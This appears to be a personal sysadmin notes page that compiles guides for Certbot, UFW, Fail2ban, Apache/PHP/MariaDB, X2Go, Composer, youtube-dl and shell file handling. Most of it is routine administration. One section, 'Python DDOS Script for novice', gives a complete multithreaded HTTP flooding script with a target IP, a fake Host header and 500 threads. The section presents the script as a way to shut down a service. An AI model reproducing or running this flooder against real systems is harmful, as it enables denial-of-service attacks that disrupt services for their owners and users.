Install Certbot SSL Certificates

First, let’s make sure our package manager is up to date.

#apt update -y && apt upgrade -y
#apt install snapd
#snap install core
#snap refresh core

Now, we can install certbot.

#snap install --classic certbot

Prepare the certbot command, so it can be ran from the command line.

#ln -s /snap/bin/certbot /usr/bin/certbot

Finally run de certbot to start and follow the instructions on screen.

#certbot --apache
#certbot --apache
[email protected]:/etc/fail2ban/action.d# certbot --apache
Saving debug log to /var/log/letsencrypt/letsencrypt.log
Enter email address (used for urgent renewal and security notices)
 (Enter 'c' to cancel): [email protected]

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Please read the Terms of Service at
https://letsencrypt.org/documents/LE-SA-v1.3-September-21-2022.pdf. You must
agree in order to register with the ACME server. Do you agree?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(Y)es/(N)o: Y

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Would you be willing, once your first certificate is successfully issued, to
share your email address with the Electronic Frontier Foundation, a founding
partner of the Let's Encrypt project and the non-profit organization that
develops Certbot? We'd like to send you email about our work encrypting the web,
EFF news, campaigns, and ways to support digital freedom.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(Y)es/(N)o: Y
Account registered.
Please enter the domain name(s) you would like on your certificate (comma and/or
space separated) (Enter 'c' to cancel): domainname.com
Requesting a certificate for domainname.com

Successfully received certificate.
Certificate is saved at: /etc/letsencrypt/live/domainname.com/fullchain.pem
Key is saved at:         /etc/letsencrypt/live/domainname.com/privkey.pem
This certificate expires on 2023-08-25.
These files will be updated when the certificate renews.
Certbot has set up a scheduled task to automatically renew this certificate in the background.

Deploying certificate
Successfully deployed certificate for domainname.com to /etc/apache2/sites-available/000-default-le-ssl.conf
Congratulations! You have successfully enabled HTTPS on https://domainname.com

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
If you like Certbot, please consider supporting our work by:
 * Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate
 * Donating to EFF:                    https://eff.org/donate-le
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[email protected]:/etc/fail2ban/action.d#

Check if Certbot SSL Certificates config already added to apache conf

#ls -la /etc/apache2/sites-available/
total 24
drwxr-xr-x 2 root root 4096 May 27 07:29 .
drwxr-xr-x 8 root root 4096 May 27 07:29 ..
-rw-r--r-- 1 root root 1467 May 27 07:29 000-default.conf
-rw-r--r-- 1 root root 1547 May 27 07:29 000-default-le-ssl.conf
-rw-r--r-- 1 root root 6338 Apr 21 22:01 default-ssl.conf

Check by open the 000-default-le-ssl.conf

#vim 000-default-le-ssl.conf
<IfModule mod_ssl.c>
<VirtualHost *:443>
ServerAdmin [email protected]
DocumentRoot /var/www/html

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
ServerName domainname.com
SSLCertificateFile /etc/letsencrypt/live/domainname.com/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/domainname.com/privkey.pem
Include /etc/letsencrypt/options-ssl-apache.conf
</VirtualHost>
</IfModule>

source: https://msmtech.ca/blog/guides/how-to-install-an-ssl-certificate-with-certbot-on-ubuntu-and-apache/

 

UFW Firewall Basic Rules and Commands

Install and Enable UFW

#sudo apt-get install ufw
#sudo ufw enable
Command may disrupt existing ssh connections. Proceed with operation (y|n)?

Enter Y, and proceed to allow connections to your server

Firewall is active and enabled on system startup

Check whether UFW is running:

#sudo ufw status
Status: active
To                         Action      From
--                         ------      ----
22/tcp                     ALLOW       Anywhere
22/tcp (v6)                ALLOW       Anywhere (v6)

Allow Connections to Your Server

#sudo ufw allow 80
#sudo ufw allow 80/tcp
#sudo ufw allow 443/tcp

If you are unsure of its port number. For example, to enable MySQL:

#sudo ufw allow mysql

Specify Filtering Mode

Incoming Traffic.

#sudo ufw allow in ftp

Outgoing Traffic.

#sudo ufw allow out smtp

Deny Connections to Your Server

#sudo ufw deny 3306

Removing Firewall Rules

 Checking UFW status with the parameter numbered. This allows you to select a rule by entry number.

#sudo ufw status numbered
Status: active
 To                         Action      From
 --                         ------      ----
[ 1] Apache                     DENY IN     Anywhere
[ 2] 80                         DENY IN     Anywhere
[ 3] 22                         ALLOW IN    Anywhere
(out)

Delete the rules by the numbers in square brackets[]

#sudo ufw delete 3

Set Logging Level

By default, the Uncomplicated Firewall logging level is set to low. However, multiple logging levels are supported, and you have a preferred setting based on what firewall logs you wish to keep.

off disables ufw logging.

low logs blocked packets that don’t match your set rules and packets matching logged rules.

medium logs low level, allowed packets that don’t match the set policy, invalid packets, and all new connections to your server.

high logs medium without attempts/rate-limiting and all packets with attempt limiting.

full logs all firewall packets without rate/access attempts limiting.

To set your UFW logging level, use the command below.

#sudo ufw logging LEVEL

For example:

#sudo ufw logging medium

To enable logging for a specific firewall rule, such as SSH, use the command.

#sudo allow log 22/tcp

Enable IPV6 Support

#sudo vim /etc/default/ufw

Locate the IPV6 line and make sure it is set to yes

IPV6=yes

Disable / Reload UFW

To disable (stop) Uncomplicated Firewall, run the command.

#sudo ufw disable

If you need to reload UFW (reload rules), use the reload parameter.

#sudo ufw reload

To restart UFW, you will need to disable it first and then enable it again.

#sudo ufw disable

#sudo ufw enable

Again, before enabling UFW, make sure that the SSH port is allowed for your IP address.

Back to Default Settings

If you need to reset UFW back to default settings, type the following command. This will delete all existing rules and reset the firewall to default values.

[email protected]:~#ufw reset

Resetting all rules to installed defaults. This may disrupt existing ssh

connections. Proceed with operation (y|n)?

https://www.vultr.com/docs/how-to-configure-uncomplicated-firewall-ufw-on-ubuntu-20-04/

Install X2Go as Remote Dekstop on Debian 10

Requirements to install X2Go is VPS with high memory min 6GB
Install and configure the Full Desktop Environment. This is similar to what you would get if you installed Debian from a bootable DVD/USB memory stick to your local PC:

#apt-get update && apt-get upgrade -y

Step 1: Installing the Desktop Environment

#apt-get install task-xfce-desktop -y

Install xfce4 and all of the additional dependencies needed to support it:

#apt-get install xfce4

Step 2: Install X2Go on your server, type the following command:

#apt-get install x2goserver x2goserver-xsession

Step 3: Installing the X2Go Client Locally
On Linux

#apt-get install x2goclient

On Windows download X2Go Client at https://wiki.x2go.org/doku.php/download:start

Step 4: Connecting To the Remote Desktop
In the top-left menu select New session
Enter your server’s IP address or hostname in the Host field under Server.
Enter the username you used for your SSH connection in the Login field.
And, since you installed XFCE in Step Two, choose XFCE as your Session

Source https://www.digitalocean.com/community/tutorials/how-to-set-up-a-remote-desktop-with-x2go-on-debian-10

Install Composer and phpmailer

To quickly install Composer in the current directory, run the following script in your terminal. To automate the installation, use the guide on installing Composer programmatically.

#cd /var/www/html
#php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
#php -r "if (hash_file('sha384', 'composer-setup.php') === '55ce33d7678c5a611085589f1f3ddf8b3c52d662cd01d4ba75c0ee0459970c2200a51f492d557530c71c15d8dba01eae') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
#php composer-setup.php
#php -r "unlink('composer-setup.php');"

Most likely, you want to put the composer.phar into a directory on your PATH, so you can simply call composer from any directory (Global install)

#sudo mv composer.phar /usr/local/bin/composer

Install PHPMAILER

#composer require phpmailer/phpmailer

Youtube-dl Debian download Youtube videos to MP4 MP3

apt-get update -y && apt-get upgrade -y

apt-get install curl -y

curl -L https://yt-dl.org/downloads/latest/youtube-dl -o /usr/local/bin/youtube-dl

If you do not have curl, you can alternatively use a recent wget:

sudo wget https://yt-dl.org/downloads/latest/youtube-dl -O /usr/local/bin/youtube-dl

sudo chmod a+rx /usr/local/bin/youtube-dl

UPDATE Youtube-dl

youtube-dl -U

apt-get install software-properties-common -y

apt-get install ffmpeg -y

Create Symbolic Links python3 to python to recognize youtube-dl

ln -s /usr/bin/python3 /usr/local/bin/python

DOWNLOAD ONLY AUDIO MP3

youtube-dl –extract-audio –audio-format mp3 –format ‘bestaudio’ URL

DOWNLOAD NORMAL MP4

youtube-dl URL

DOWNLOAD HIGH RES MP4

youtube-dl -f ‘bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best’ URL

Source : https://ytdl-org.github.io/youtube-dl/index.html

Apache2 PHP MariaDB Debian 10

Change Hostname, Update, Upgrade, Install Zip Unzip and VIM

#apt-get update -y
#apt-get upgrade -y
#nano /etc/hostname
#apt-get install zip -y #apt-get install unzip -y #apt-get install vim -y

Enable vim cut paste

Enable vim cut paste Debian 9

If needed “Add Swap Memory on Debian 10”

Add Swap Memory on Debian 10

If needed “Increase SSH Connection Timeout in Linux”

#vim /etc/ssh/sshd_config
ClientAliveInterval 1200
ClientAliveCountMax 3
Configure Iptables Firewall Rules

Set up iptables On Debian 8 Debian 9

Configure UFW Firewall Rules

UFW Firewall Basic Rules and Commands

Setup and Configure Fail2ban

Setup Fail2ban on Debian 9

Install Apache2

#apt install apache2 -y

Replace “AllowOverride None” to “AllowOverride All”

#vim /etc/apache2/apache2.conf

Enable and load mod_rewrite Apache2

#/usr/sbin/a2enmod rewrite
#/usr/sbin/a2enmod headers
#/usr/sbin/a2enmod expires

Install MariaDB

#apt install mariadb-server -y
#mysql_secure_installation

Instal PHP

#apt install php libapache2-mod-php php-mysql -y

Note: If you plan to host a WordPress server, install additional PHP modules

#apt install php-gd php-mbstring php-xml php-xmlrpc

Check PHP Version to install Addons

#php -v
PHP 7.3.31-1~deb10u1 (cli) (built: Oct 24 2021 15:18:08) ( NTS )

Important to Install PHP GD Addons

#apt-get install php7.3-gd -y

Install Postfix for email

#apt-get purge --auto-remove exim4
#apt-get install postfix libsasl2-modules ca-certificates mailutils -y

If needed configure Crontab job auto restart server on memory low 

Crontab job auto restart server on memory low CentOS 6 server

Install SSL Certificate

Install SSL Certificate Apache Debian 7

SSL test on Qualys SSL Labs Rating A Configuration

SSL test on Qualys SSL Labs Rating A Configuration

Activate HTTP/2 protocol on default-ssl.conf

Insert Protocols h2 h2c http/1.1 after on /etc/apache2/sites-available/default-ssl.conf

#vim /etc/apache2/sites-available/default-ssl.conf

Then follow the command below

#/usr/sbin/a2enmod ssl
#/usr/sbin/a2enmod http2
#/usr/sbin/a2ensite default-ssl
#systemctl restart apache2
#service restart apache2

Python DDOS Script for novice

DDOS stands for Distributed Denial of Service and it is an attack where we block the resources of a server by flooding it with requests with the help of so-called botnets.

The implementation only need to send requests to a host on a specific port over and over again. This can be done with sockets. To speed the process up and make it more effective, we will use multi-threading as well. So, the following libraries will be needed for this tutorial:

import socket
import threading

Now the first thing we need are the target’s IP-address, the port we want to attack and our fake IP-address that we want to use. Note that the fake ip doesn’t make you anonymous.

target = '10.0.0.138'
fake_ip = '182.21.20.32'
port = 80

Example to attack the port 80, which is HTTP. If you want to shut down a specific service, you need to know which port it is operating at. The next thing we need to do is to implement the actual attacking function.

def attack():
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port))
s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))
s.close()

This attack function will be running in each of our individual threads. It starts an endless loop, within which it creates a socket, connects to the target and sends an HTTP request over and over again.

We are injecting our fake IP-address into the request encoded into bytes to the server. At the end of every iteration, we close our socket.

We need to do is to run multiple threads that execute this function at the same time. If we would just run the function, it would send a lot of requests over and over again but it would always be only one after the other. By using multi-threading, we can send many requests at once.

for i in range(500):
thread = threading.Thread(target=attack)
thread.start()

In this case, we are starting 500 threads that will execute our function, we can play around maybe 30 or 50 are already sufficient. If you want to see some information, you may print the amounts of requests already sent. Just notice that this will slow down your attack.

attack_num = 0

def attack():
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port))
s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))

global attack_num
attack_num += 1
print(attack_num)

s.close()

We created a variable attack_num that tracks how many requests have been sent already. With every iteration, we increase this number and print it.

Full script below:

#https://www.neuralnine.com/code-a-ddos-script-in-python/
import socket
import threading

target = '10.0.0.138'
fake_ip = '182.21.20.32'
port = 80

attack_num = 0
def attack():
    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target, port))
        s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))
        
        global attack_num
        attack_num += 1
        print(attack_num)
        
        s.close()

for i in range(500):
    thread = threading.Thread(target=attack)
    thread.start()    

This article taken from https://www.neuralnine.com/code-a-ddos-script-in-python/

Remove linux files with special characters name

Remove linux files with special characters name

You may come across file names with special characters such as:

  • ;
  • &
  • $
  • ?
  • *
  • White spaces, backslashes and more.

Sample File List

Here is a sample list of file names:

file-1

The Problem And Solution

Your default bash shell considers many of these special characters (also known as meta-characters) as commands. If you try to delete or move/copy such files you may end up with errors. In this example, I am trying to delete a file named ‘>file’:

$ rm >file

Sample outputs:

rm: missing operand
Try `rm --help' for more information.

The rm command failed to delete the file due to strange character in filename.

Tip #1: Put filenames in quotes

The following command is required to copy or delete files with spaces in their name, for example:

$ cp "my resume.doc" /secure/location/
$ rm "my resume.doc"

The quotes also prevent the many special characters interpreted by your shell, for example:

$ rm -v ">file"
removed `>file'

The double quotes preserve the value of all characters enclosed, except for the dollar sign, the backticks and the backslash. You can also try single quotes as follows:

$ rm -v 'a long file   name  here'
$ cp 'my mp3 file.mp3' /backup/disk/

Tip #2: Try a backslash

You can always insert a backslash () before the special character in your filename:

$ cp "my resume.doc" /secure/location/
$ rm "*file"

Tip #3: Try a ./ at the beginning of the filename

The syntax is as follows to delete a file called ‘-file’:

$ rm -v ./-file
removed `./-file'

The ./ at the beginning of the filename forces rm not to interpret – as option to the rm command.

Tip #4: Try a — at the beginning of the filename

A — signals the end of options and disables further option processing by shell. Any arguments after the — are treated as filenames and arguments. An argument of – is equivalent to –. The syntax is:

$ rm -v -- -file
$ rm -v -- --file
$ rm -v -- "@#$%^&file"
$ rmdir -v -- "--dirnameHere"

Tip #5: Remove file by an inode number

The -i option to ls displays the index number (inode) of each file:

ls -li

Use find command as follows to delete the file if the file has inode number 4063242:

$ find . -inum 4063242 -delete

OR

$ find . -inum 4063242 -exec rm -i {} ;

Sample session:

file-2

For more information and options about the find, rm, and bash command featured in this tip, type the following command at the Linux prompt, to read man pages:

$ man find
$ man rm
$ man bash

Source: https://www.linux.com/training-tutorials/linux-shell-tip-remove-files-names-contains-spaces-and-special-characters-such/

Enable vim cut paste Debian 9

 

Enable vim cut paste Debian 9 with preferable global solution for all users, which loads the default options and then adds or overwrites the defaults with the personal settings.

Luckily there is an option for that in Debian: The /etc/vim/vimrc.local will be loaded after the /etc/vim/vimrc. So you can create this file and load defaults, preventing them from being loaded again (at the end) and then add your personal options:

Please create the following file: /etc/vim/vimrc.local and paste the code

#nano /etc/vim/vimrc.local
" This file loads the default vim options at the beginning and prevents
" that they are being loaded again later. All other options that will be set,
" are added, or overwrite the default settings. Add as many options as you
" whish at the end of this file.

" Load the defaults
source $VIMRUNTIME/defaults.vim

" Prevent the defaults from being loaded again later, if the user doesn't
" have a local vimrc (~/.vimrc)
let skip_defaults_vim = 1
" Set more options (overwrites settings from /usr/share/vim/vim80/defaults.vim)
" Add as many options as you whish

" Set the mouse mode to 'r'
if has('mouse')
set mouse=r
endif

" Toggle paste/nopaste automatically when copy/paste with right click in insert mode:
let &t_SI .= "\<Esc>[?2004h"
let &t_EI .= "\<Esc>[?2004l"

inoremap <special> <expr> <Esc>[200~ XTermPasteBegin()

function! XTermPasteBegin()
set pastetoggle=<Esc>[201~
set paste
return ""
endfunction

Source: https://unix.stackexchange.com/questions/318824/vim-cutpaste-not-working-in-stretch-debian-9

Setup Fail2ban on Debian 9

Update the system

#apt update && apt upgrade -y

Modify SSH port (Optional), Change port number 22, for example to 3000

#sed -i "s/#Port 22/Port 3000/g" /etc/ssh/sshd_config
#systemctl restart sshd.service

Debian 8: open the /etc/ssh/sshd_config, change port 22 to 3000

#vim /etc/ssh/sshd_config

Update IPTables rules, change SSH port on /etc/iptables.up.rules config

#/usr/sbin/iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
#/usr/sbin/iptables -A INPUT -p tcp --dport 22 -j DROP
#/usr/sbin/iptables -A INPUT -p tcp --dport 3000 -j ACCEPT

Save the updated IPTables rules to a file for persistence purposes:

#/usr/sbin/iptables-save > /etc/iptables.up.rules
#touch /etc/network/if-pre-up.d/iptables
#chmod +x /etc/network/if-pre-up.d/iptables
#echo '#!/bin/sh' >> /etc/network/if-pre-up.d/iptables
#echo '/sbin/iptables-restore < /etc/iptables.up.rules' >> /etc/network/if-pre-up.d/iptables

If UFW please follow command belows;

#sudo ufw allow 3000/tcp
#sudo ufw status
Status: active
To                         Action      From
--                         ------      ----
3000/tcp                     ALLOW       Anywhere
3000/tcp (v6)                ALLOW       Anywhere (v6)

Removing UFW port 22 Firewall Rule by Checking UFW status with the parameter numbered. This allows you to select a rule by entry number.

#sudo ufw status numbered
Status: active
To Action From
-- ------ ----
[ 1] Apache DENY IN Anywhere
[ 2] 22 ALLOW IN Anywhere
(out)
Delete the rules by the numbers in square brackets[]

#sudo ufw delete 2

Install and configure fail2ban to protect SSH

#apt install fail2ban -y
#systemctl status fail2ban

Let’s see how did fail2ban alter iptables rules:

$/usr/sbin/iptables -L -n -v

There is a new chain f2b-sshd in iptables config that is referenced in the INPUT chain rule:

Chain INPUT (policy ACCEPT 777 packets, 80681 bytes)
pkts bytes target prot opt in out source destination
1250 93157 f2b-sshd tcp -- * * 0.0.0.0/0 0.0.0.0/0 multiport dports 3000
(... omitted for brevity ...)
Chain f2b-sshd (1 references)
pkts bytes target prot opt in out source destination
1223 90505 RETURN all -- * * 0.0.0.0/0 0.0.0.0/0

fail2ban package contains a tool called fail2ban-client. It allows you to check the status of the service and interact with it (e.g., it lets you manually ban and unban IP addresses, enable and disable jails, etc.)

See which jails are active:

#fail2ban-client status
Status
|- Number of jail: 1
`- Jail list: sshd

Check the statistics for sshd jail:

#fail2ban-client status sshd
Status for the jail: sshd
|- Filter
| |- Currently failed: 0
| |- Total failed: 5
| `- File list: /var/log/auth.log
`- Actions
|- Currently banned: 1
|- Total banned: 1
`- Banned IP list: 192.168.33.1

192.168.33.1 IP address is banned from accessing SSH server. fail2ban does this by adding an entry in f2b-sshd iptables chain:

Chain f2b-sshd (1 references)
pkts bytes target     prot opt in     out     source               destination
12   696 REJECT     all  --  *      *       192.168.33.1         0.0.0.0/0            reject-with icmp-port-unreachable
1279 97855 RETURN     all  --  *      *       0.0.0.0/0            0.0.0.0/0

Configuring fail2ban

The default Fail2ban filter settings will be stored in /etc/fail2ban/jail.conf file and the /etc/fail2ban/jail.d/defaults-debian.conf file

Keep in mind that you should not make any changes to that file as it might be overwritten during fail2ban upgrade.

In case you need to adjust the configuration, create /etc/fail2ban/jail.local config file with the desired changes. Please not to add same values, but only the values you want to customize.

If you want to change the default ban duration (bantime) and the number of failed attempts (maxretry), add the new config for example /etc/fail2ban/jail.local

#vim /etc/fail2ban/jail.local

Insert code below

[sshd]
#Set ban time to 1 hours
bantime = 3600
#Decrease the number of failed login attempts before banning to 3
maxretry=3

Restart the service:

#systemctl restart fail2ban

Source :
https://www.vultr.com/docs/how-to-setup-fail2ban-on-debian-9-stretch

https://blog.swmansion.com/limiting-failed-ssh-login-attempts-with-fail2ban-7da15a2313b